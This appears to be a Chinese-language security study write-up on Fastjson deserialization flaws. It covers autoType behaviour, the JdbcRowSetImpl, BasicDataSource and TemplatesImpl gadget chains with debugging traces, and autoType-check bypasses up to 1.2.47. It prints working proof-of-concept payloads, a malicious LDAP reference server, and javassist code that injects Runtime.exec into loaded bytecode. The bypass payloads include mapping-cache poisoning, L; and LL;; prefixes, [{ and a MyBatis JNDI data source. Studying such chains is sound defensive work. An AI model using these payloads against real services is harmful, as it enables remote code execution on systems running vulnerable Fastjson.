fastjson反序列化
相关的漏洞实在是太多了,只能学习一部分,其余的就附加上了poc
背景 Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
Fastjson是一个全程开源的项目,项目链接 https://github.com/alibaba/fastjson/
Fastjson提供了对json数据的高效处理
JSON 字符串转换为 Java 对象 fastjson提供了JSON.parseObject()方法。可以将一个json字符串转化为java对象
我们可以看一下这个方法
然后会触发parse方法
然后会使用autoType实例化具体的类,调用相关的set/get方法访问相关的属性。
parse方法将json数据反序列化成java对象,并且在反序列化时调用了对象的setter方法。
不过这里的get/set方法存在一点要求
AutoType FastJson和jackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的
假设我们有一个这样的接口
1 2 3 4 5 package org.example.fastjson;public interface ctf {}
然后我们构建一个这样的类实现这个接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package org.example.fastjson;public class web implements ctf { private String name; public String getName () { return name; } public void setName (String name) { this .name = name; } }
我们再设置一个类包含这些东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package org.example.fastjson;public class autotype { private ctf ctf; public String getName () { return name; } public void setName (String name) { this .name = name; } private String name; public org.example.fastjson.ctf getCtf () { return ctf; } public void setCtf (org.example.fastjson.ctf ctf) { this .ctf = ctf; } }
我们尝试直接转换成json
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package org.example.fastjson;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;public class tostring { public static void main (String[] args) { autotype auto = new autotype (); web test=new web (); test.setName("AsaL1n" ); auto.setCtf(test); auto.setName("json" ); String jsonString = JSON.toJSONString(auto); System.out.println(jsonString); } }
这里使用的fastjson版本是(1.2.24)
转换为json结果如下
但是当我们反序列化的时候就会出现一个问题
获取正常的autotype类里面的name参数的时候不会出现问题,但是当我们尝试获取这个web对象的时候就出现问题了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package org.example.fastjson;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;public class tostring { public static void main (String[] args) { autotype auto = new autotype (); web test=new web (); test.setName("AsaL1n" ); auto.setCtf(test); auto.setName("json" ); String jsonString = JSON.toJSONString(auto); System.out.println(jsonString); autotype auto2 = JSON.parseObject(jsonString, autotype.class); System.out.println(auto2.getName()); web test2=(web)auto2.getCtf(); System.out.println(test2.getName()); } }
原因是当一个类中包含了一个接口(或抽象类)的时候,在使用fastjson进行序列化的时候,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无法拿到原始类型。
不过json给出了属于他自己的方法SerializerFeature.WriteClassName
我们如果这样构造json
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package org.example.fastjson;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.serializer.SerializerFeature;public class tostring { public static void main (String[] args) { autotype auto = new autotype (); web test=new web (); test.setName("AsaL1n" ); auto.setCtf(test); auto.setName("json" ); String jsonString = JSON.toJSONString(auto, SerializerFeature.WriteClassName); System.out.println(jsonString); autotype auto2 = JSON.parseObject(jsonString, autotype.class); System.out.println(auto2.getName()); web test2=(web)auto2.getCtf(); System.out.println(test2.getName()); } }
这样序列化之后就不会出现问题
@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型
这就是autotype
fastjson在对JSON字符串进行反序列化的时候,就会读取@type
到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。
这也就是那么多漏洞的来源
set开头的方法要求如下:
方法名长度大于4且以set开头,且第四个字母要是大写
非静态方法
返回类型为void或当前类
参数个数为1个
get开头的方法要求如下:
方法名长度大于等于4
非静态方法
以get开头且第4个字母为大写
无传入参数
返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
fastjson<=1.2.24 此版本及其之前的版本 Autotype默认开启,同时没有开启任何的限制
JdbcRowSetImpl链 利用条件 1 2 3 RMI利用的JDK版本≤ JDK 6u132、7u122、8u113 LADP利用JDK版本≤ 6u211 、7u201、8u191 出网
要求Json.parse(input)的参数可控
evil.class
poc 1 2 3 4 5 6 7 8 9 10 11 12 package org.example.fastjson.JdbcRowSetImpl;import com.alibaba.fastjson.JSON;public class JdbcRowSetImpl_poc { public static void main (String[] args) { String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:7777/evil\", \"autoCommit\":true}" ; JSON.parse(PoC); } }
ldap_server 使用上次那个脚本起一个ldap服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 package org.example.fastjson.JdbcRowSetImpl;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;public class ldap { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main ( String[] tmp_args ) { String[] args=new String []{"http://127.0.0.1:8080/#evil" }; int port = 7777 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "foo" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaCodeBase" , cbstring); e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaFactory" , this .codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
成功rce
测试版本1.2.23,jdk为8u66
分析 调试中的调用栈
在fastjson构建这个对象的时候,会使用autoType实例化具体的类,调用相关的set/get方法访问相关的属性
在JdbcRowSetImpl这个类里面存在函数setAutoCommit
1 2 3 4 5 6 7 8 9 public void setAutoCommit (boolean var1) throws SQLException { if (this .conn != null ) { this .conn.setAutoCommit(var1); } else { this .conn = this .connect(); this .conn.setAutoCommit(var1); } }
在这里会调用connect()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private Connection connect () throws SQLException { if (this .conn != null ) { return this .conn; } else if (this .getDataSourceName() != null ) { try { InitialContext var1 = new InitialContext (); DataSource var2 = (DataSource)var1.lookup(this .getDataSourceName()); return this .getUsername() != null && !this .getUsername().equals("" ) ? var2.getConnection(this .getUsername(), this .getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException (this .resBundle.handleGetObject("jdbcrowsetimpl.connect" ).toString()); } } else { return this .getUrl() != null ? DriverManager.getConnection(this .getUrl(), this .getUsername(), this .getPassword()) : null ; } }
可以看到这里存在一个lookup方法,成功触发了外面的ladp注入
BasicDataSource链 上面的链子需要出网才能访问我们恶意的rmi服务端或者ladp服务端,下面这个链子就不存在这问题
在pom.xml上添加相关的依赖
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-catalina</artifactId > <version > 8.5.0</version > </dependency > <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-dbcp</artifactId > <version > 8.0.36</version > </dependency >
利用条件
poc 这里使用Aiwin师傅的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package org.example.fastjson.JdbcRowSetImpl;import java.io.*;import com.alibaba.fastjson.JSON;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;public class BasicDataSource_poc { public static void main (String[] args) throws Exception{ ClassLoader classLoader = new ClassLoader (); byte [] bytes = convert("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\fastjson\\JdbcRowSetImpl\\evil.class" ); String code = Utility.encode(bytes,true ); System.out.println(code); String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$" + code +"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}" ; JSON.parseObject(s); } private static byte [] convert(String filePath) throws IOException { File file = new File (filePath); if (!file.exists()) { throw new FileNotFoundException ("文件未找到:" + filePath); } try (InputStream inputStream = new FileInputStream (file)) { ByteArrayOutputStream byteOutput = new ByteArrayOutputStream (); byte [] buffer = new byte [4096 ]; int bytesRead; while ((bytesRead = inputStream.read(buffer)) != -1 ) { byteOutput.write(buffer, 0 , bytesRead); } return byteOutput.toByteArray(); } } }
拿到的字符串是这样的
1 {"@type" :"org.apache.tomcat.dbcp.dbcp2.BasicDataSource" ,"DriverClassName" :"$$BCEL$$+evilcode" ,"DriverClassLoader" :{"@type" :"com.sun.org.apache.bcel.internal.util.ClassLoader" }}
分析 漏洞的触发点在com.alibaba.fastjson.util.FieldInfo的get方法
这里的object对象是BasicDataSouce,会调用BasicDataSouce里面的getter方法
其中存在了一个getConnection方法
触发createDataSource方法
触发这个createConnectionFactory方法
这里的driverClassName和driverClassLoader都是可控的
把我们的恶意字节码加载进去,指定BCEL类加载
完整调用栈如下
TemplatesImpl链 利用条件 1 2 3 服务端使用parseObject()时,使用如下格式才能触发漏洞: JSON.parseObject(input, Object.class, Feature.SupportNonPublicField); 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField);
利用思路与7u21类似
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package org.example.fastjson.TemplatesImpl;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import org.apache.tomcat.util.codec.binary.Base64;public class TemplatesImpl { public static class test {} public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get(test.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(calc);" ; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "hello" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); byte [] evilCode = cc.toBytecode(); String evilCode_base64 = Base64.encodeBase64String(evilCode); System.out.println(evilCode_base64); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; String payload = "{\"" + "@type\":\"" + NASTY_CLASS + "\"," + "\"" + "_bytecodes\":[\"" + evilCode_base64 + "\"]," + "'_name':'asd','" + "_tfactory':{ },\"" + "_outputProperties\":{ }," + "\"" + "_version\":\"1.0\",\"" + "allowedProtocols\":\"all\"}\n" ; ParserConfig config = new ParserConfig (); Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField); } }
分析 调试一下代码看看
在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer的deserialze中通过一个循环不断的获取我们传入的json的内容
可以看到这里已经获取到了我们的outputproperties
在这里调用了parseField方法,这里的key即我们传入的_bytecode
触发smartMatch方法,我们继续跟进去看看
判断是否为_bytecodes,是则替换成bytecodes
然后触发parseField函数
进入到parseField方法
这里的setvalue方法中,object是我们的TemplatesImpl,value是我们的字节码。
这个过程会在JavaBeanDeserializer循环进行,知道获取所有的json字段
我们的json字段中有_outputProperties复合要求,就会触发getoutputProperties方法
1 2 3 4 5 6 7 8 9 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
在newTransformer内部调用了getTransletInstance方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
_class值为null,这里就会加载我们的字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new Hashtable (); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
然后就调用newInstance实例化我们的类触发poc
autoTypeSupport 在fastjson=>1.2.25之后默认autoTypeSupport属性为false
并且多了一个checkautotype的函数(1.2.25)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null ) { return null ; } else { String className = typeName.replace('$' , '.' ); if (this .autoTypeSupport || expectClass != null ) { int i; String deny; for (i = 0 ; i < this .acceptList.length; ++i) { deny = this .acceptList[i]; if (className.startsWith(deny)) { return TypeUtils.loadClass(typeName, this .defaultClassLoader); } } for (i = 0 ; i < this .denyList.length; ++i) { deny = this .denyList[i]; if (className.startsWith(deny)) { throw new JSONException ("autoType is not support. " + typeName); } } } Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null ) { clazz = this .deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } else { return clazz; } } else { if (!this .autoTypeSupport) { String accept; int i; for (i = 0 ; i < this .denyList.length; ++i) { accept = this .denyList[i]; if (className.startsWith(accept)) { throw new JSONException ("autoType is not support. " + typeName); } } for (i = 0 ; i < this .acceptList.length; ++i) { accept = this .acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (this .autoTypeSupport || expectClass != null ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader); } if (clazz != null ) { if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) { throw new JSONException ("autoType is not support. " + typeName); } if (expectClass != null ) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } } if (!this .autoTypeSupport) { throw new JSONException ("autoType is not support. " + typeName); } else { return clazz; } } } } static { String property = IOUtils.getStringProperty("fastjson.parser.deny" ); DENYS = splitItemsFormProperty(property); property = IOUtils.getStringProperty("fastjson.parser.autoTypeSupport" ); AUTO_SUPPORT = "true" .equals(property); property = IOUtils.getStringProperty("fastjson.parser.autoTypeAccept" ); String[] items = splitItemsFormProperty(property); if (items == null ) { items = new String [0 ]; } AUTO_TYPE_ACCEPT_LIST = items; global = new ParserConfig (); awtError = false ; jdk8Error = false ; }
当autoTypeSupport没有开启的时候,会先判断是否开启autotype,如果没有开启,就会判断是否存在了期望类
如果 className
符合期望,就加载对应的类,并进行类型匹配检查。
如果期望中找到匹配项,尝试从类型映射中获取类,如果仍未找到,则从自定义的反序列化器(deserializers
)中查找。
找到了类就进行与期望类的匹配检查,如果不匹配则抛出 JSONException
异常。
这里对加载的类进行了严格的要求,在autotype默认关闭的情况下,我们使用的类虽然不在黑名单上,但也并不在checkAutotype安全机制白名单上,无法被加载
Mapping缓存 在fastjson中,mappings是一个用于储存一些基础的类,提高我们序列化的效率
在这里添加了加快效率的基础类
调试 我们先调普通的链子,版本是1.2.25,未开启autotype
在fastjson解析这个字符串为对象的时候,会触发一个getclassFromMapping
尝试从这个mappings集合里面寻找到我们传入的类,这里是BasicDataSource这个
显然没有这个类,所以返回了null
进入下面的autotypep判断(默认为false)
判断是黑名单里面的类,直接抛出了
如果我们能将恶意的类储存到mapping集合里面,就能完成绕过了
autoTypeSupport绕过 利用条件
fastjson1.2.25-1.2.32版本:需要未开启AutoTypeSupport。
fastjson1.2.33-1.2.47版本:
poc jdbcRowSetlmpl链 1 2 PoC="{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:7777/evil\",\"autoCommit\":true}}" ;
BasicDataSource链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 String ParsePayload2 = "{" + "{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"}:\"aaa\"," + "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}:\"bbb\"," + "{" + "\"@type\":\"com.alibaba.fastjson.JSONObject\"," + "\"xxx\":{" + "\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," + "\"driverClassLoader\":{" + "\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"" + "}," + "\"driverClassName\":\"$$BCEL$$...\"" + "}" + "}:\"aaa\"" + "}" ;
此利用连版本要求比较麻烦
1.2.25~1.2.32之间用不了BasicDataSource链
1.2.37以上不行
通杀 1 2 3 4 5 6 7 8 9 10 11 12 13 14 "{" +"{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"}:\"aaa\"," + "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}:\"bbb\"," + "{" + "\"@type\":\"com.alibaba.fastjson.JSONObject\"," + "\"xxx\":{" + "\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," + "\"driverClassLoader\":{" + "\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"" + "}," + "\"driverClassName\":\"$$BCEL$$...\"" + "}" + "}:{\"aaa\":\"bbb\"}" + "}" ;
分析 首先前面的逻辑里面,在mapping寻找是否有这个类,和在黑名单里面寻找这个类,并不是同时进行的
但是当我们传入的类是java.lang.class的时候,依然是返回了null
由于这个类是存在在白名单里面的,所以通过了check,java.lang.Class类对象被返回到checkAutoType中并赋值给clazz,checkAutoType方法将clazz返回
然后继续执行下去
进入了Misccodec.class的deserialze方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 public <T> T deserialze (DefaultJSONParser parser, Type clazz, Object fieldName) { JSONLexer lexer = parser.lexer; String className; if (clazz == InetSocketAddress.class) { if (lexer.token() == 8 ) { lexer.nextToken(); return null ; } else { parser.accept(12 ); InetAddress address = null ; int port = 0 ; while (true ) { className = lexer.stringVal(); lexer.nextToken(17 ); if (className.equals("address" )) { parser.accept(17 ); address = (InetAddress)parser.parseObject(InetAddress.class); } else if (className.equals("port" )) { parser.accept(17 ); if (lexer.token() != 2 ) { throw new JSONException ("port is not int" ); } port = lexer.intValue(); lexer.nextToken(); } else { parser.accept(17 ); parser.parse(); } if (lexer.token() != 16 ) { parser.accept(13 ); return new InetSocketAddress (address, port); } lexer.nextToken(); } } } else { Object objVal; if (parser.resolveStatus == 2 ) { parser.resolveStatus = 0 ; parser.accept(16 ); if (lexer.token() != 4 ) { throw new JSONException ("syntax error" ); } if (!"val" .equals(lexer.stringVal())) { throw new JSONException ("syntax error" ); } lexer.nextToken(); parser.accept(17 ); objVal = parser.parse(); parser.accept(13 ); } else { objVal = parser.parse(); } String strVal; if (objVal == null ) { strVal = null ; } else { if (!(objVal instanceof String)) { if (objVal instanceof JSONObject && clazz == Map.Entry.class) { JSONObject jsonObject = (JSONObject)objVal; return jsonObject.entrySet().iterator().next(); } throw new JSONException ("expect string" ); } strVal = (String)objVal; } if (strVal != null && strVal.length() != 0 ) { if (clazz == UUID.class) { return UUID.fromString(strVal); } else if (clazz == URI.class) { return URI.create(strVal); } else if (clazz == URL.class) { try { return new URL (strVal); } catch (MalformedURLException var9) { throw new JSONException ("create url error" , var9); } } else if (clazz == Pattern.class) { return Pattern.compile(strVal); } else if (clazz == Locale.class) { String[] items = strVal.split("_" ); if (items.length == 1 ) { return new Locale (items[0 ]); } else { return items.length == 2 ? new Locale (items[0 ], items[1 ]) : new Locale (items[0 ], items[1 ], items[2 ]); } } else if (clazz == SimpleDateFormat.class) { SimpleDateFormat dateFormat = new SimpleDateFormat (strVal, lexer.getLocale()); dateFormat.setTimeZone(lexer.getTimeZone()); return dateFormat; } else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) { if (clazz == File.class) { return new File (strVal); } else if (clazz == TimeZone.class) { return TimeZone.getTimeZone(strVal); } else { if (clazz instanceof ParameterizedType) { ParameterizedType parmeterizedType = (ParameterizedType)clazz; clazz = parmeterizedType.getRawType(); } if (clazz == Class.class) { return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); } else if (clazz == Charset.class) { return Charset.forName(strVal); } else if (clazz == Currency.class) { return Currency.getInstance(strVal); } else if (clazz == JSONPath.class) { return new JSONPath (strVal); } else { className = clazz.getTypeName(); if (className.equals("java.nio.file.Path" )) { try { if (method_paths_get == null && !method_paths_get_error) { Class<?> paths = TypeUtils.loadClass("java.nio.file.Paths" ); method_paths_get = paths.getMethod("get" , String.class, String[].class); } if (method_paths_get != null ) { return method_paths_get.invoke((Object)null , strVal, new String [0 ]); } throw new JSONException ("Path deserialize erorr" ); } catch (NoSuchMethodException var11) { method_paths_get_error = true ; } catch (IllegalAccessException var12) { throw new JSONException ("Path deserialize erorr" , var12); } catch (InvocationTargetException var13) { throw new JSONException ("Path deserialize erorr" , var13); } } throw new JSONException ("MiscCodec not support " + className); } } } else { try { return InetAddress.getByName(strVal); } catch (UnknownHostException var10) { throw new JSONException ("deserialize inet adress error" , var10); } } } else { return null ; } } }
此时我们传入的clazz是前面经过检验的java.lang.class
这段程序首先判断了是否存在val这个字段,然后将val的值取出来放到objVal里面
我们传入的poc里面正好存在val字段,于是将恶意类储存到objVal内
然后将他转化成储存到strVal中
然后就会调用TypeUtils.loadClass处理这个值
查看这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 public static Class<?> loadClass(String className, ClassLoader classLoader) { if (className != null && className.length() != 0 ) { Class<?> clazz = (Class)mappings.get(className); if (clazz != null ) { return clazz; } else if (className.charAt(0 ) == '[' ) { Class<?> componentType = loadClass(className.substring(1 ), classLoader); return Array.newInstance(componentType, 0 ).getClass(); } else if (className.startsWith("L" ) && className.endsWith(";" )) { String newClassName = className.substring(1 , className.length() - 1 ); return loadClass(newClassName, classLoader); } else { try { if (classLoader != null ) { clazz = classLoader.loadClass(className); mappings.put(className, clazz); return clazz; } } catch (Throwable var6) { var6.printStackTrace(); } try { ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if (contextClassLoader != null && contextClassLoader != classLoader) { clazz = contextClassLoader.loadClass(className); mappings.put(className, clazz); return clazz; } } catch (Throwable var5) { } try { clazz = Class.forName(className); mappings.put(className, clazz); return clazz; } catch (Throwable var4) { return clazz; } } } else { return null ; } }
这里利用contextClassLoader.loadClass(className)通过名字获取了com.sun.rowset.JdbcRowSetImpl这个类对象
获取完这个类之后,直接就将他添加到mapping这个中去了
下一次再次加载的时候,就能再mapping对象内找到com.sun.rowset.JdbcRowSetImpl这个类,就不会抛出了。
也算是某种程度的污染吧
autoType=true 开启这个之后,绕过方式就是修修补补了
fastjson 1.2.25-1.2.41 poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 package org.example.fastjson.JdbcRowSetImpl;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImpl_poc { public static void main (String[] args) { String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:7777/evil\", \"autoCommit\":true}" ; ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); JSON.parse(PoC); } }
分析 在1.2.25中,com.sun.rowset.JdbcRowSetImpl被加入了黑名单,不能愉快的rce了
不过存在一个判断
1 2 3 4 if (className.startsWith("L" ) && className.endsWith(";" )) { String newClassName = className.substring(1 , className.length() - 1 ); return loadClass(newClassName, classLoader); }
判断到开头是“L”,结尾是”;”的时候,会调用loadclass方法
fastjson 1.2.42 添加了一个检测是不是L和;结尾,同时把明文黑名单替换成hash
不过已经被碰撞出来了大部分https://github.com/LeadroyaL/fastjson-blacklist
1 2 3 if (((-3750763034362895579L ^ (long )className.charAt(0 )) * 1099511628211L ^ (long )className.charAt(className.length() - 1 )) * 1099511628211L == 655701488918567152L ) { className = className.substring(1 , className.length() - 1 ); }
这里可以双写LL和;;绕过
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 package org.example.fastjson.JdbcRowSetImpl;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImpl_poc { public static void main (String[] args) { String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:7777/evil\", \"autoCommit\":true}" ; ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); JSON.parse(PoC); } }
Fastjson 1.2.25-1.2.43
1 {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
加入[{绕过
Fastjson 1.2.25-1.2.45
1 {"@type" :"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" ,"properties" :{"data_source" :"ldap://localhost:1389/badNameClass" }}
存在mybatis3.x.x系列<3.5.0
fastjson1.2.47-66 在这个版本里面修复了json内置绕过,里面能够利用的漏洞主要还是一些组件漏洞。
org.apache.shiro-core-1.5.1 存在可控的lookup参数点
